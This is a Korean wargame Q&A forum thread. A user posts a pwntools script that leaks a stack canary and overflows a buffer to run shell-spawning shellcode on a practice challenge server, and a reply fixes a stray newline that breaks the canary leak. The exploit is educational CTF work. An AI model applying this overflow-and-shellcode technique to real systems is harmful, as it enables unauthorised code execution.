[*] Got EOF while reading in interactive
from pwn import asm,shellcraft,remote, context, u64, p64

p = remote('host3.dreamhack.games', 19436)
context.arch = 'amd64'

p.recvuntil(b'Address of the buf: ')
buf = int(p.recvn(14), 16)
print(buf)

p.recvuntil(b'Distance between buf and $rbp: ')
sfp = p.recvn(2)
sfp = int(sfp)
bf2canary = sfp-8
print('buf->canary: ', bf2canary)

payload=b'A'*(bf2canary+1)
p.sendlineafter(b'Input: ', payload)
p.recvuntil(payload)

canary = u64(b'\x00' + p.recvn(7))  # 0 바이트를 앞에 추가

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(bf2canary, b'A') + p64(canary) + b'B'*8 + p64(buf)

p.recvuntil(b'[2] Overwrite the return address')
p.sendlineafter(b'Input: ', payload)
p.interactive()

코드에 무슨 문제가 있는지 모르겠습니다 ㅠㅠㅠ

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

동적 디버깅 해보시는게 제일 빠르긴한데... 내일 아침에나 한번 보겠슴당 ㅠㅠ

2023.09.23. 00:23
avatar
사용자
CTF Second Place

제 생각에는 아쉬운 실수가 하나 있었던 것 같은데요, Canary 릭을 위해서 payload를 보낼때 개행문자가 들어가서 \x0A 값이 들어가는 것 같네요.

  • (기존) p.sendlineafter(b'Input: ', payload)
  • (변경) p.sendafter(b'Input: ', payload)

이미 아실 것 같지만, 한가지 팁을 공유드리자면 익스플로잇 코드 실행시 DEBUG 모드를 활성화하시면 오고가는 데이터를 확인할 수 있어 문제 원인을 파악하는데 도움이 됩니다. 올려주신 코드를 DEBUG를 활성화하고 살펴보니 개행이 들어가는것이 바로 보였습니다 😂

screenshot

2023.09.23. 11:02
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기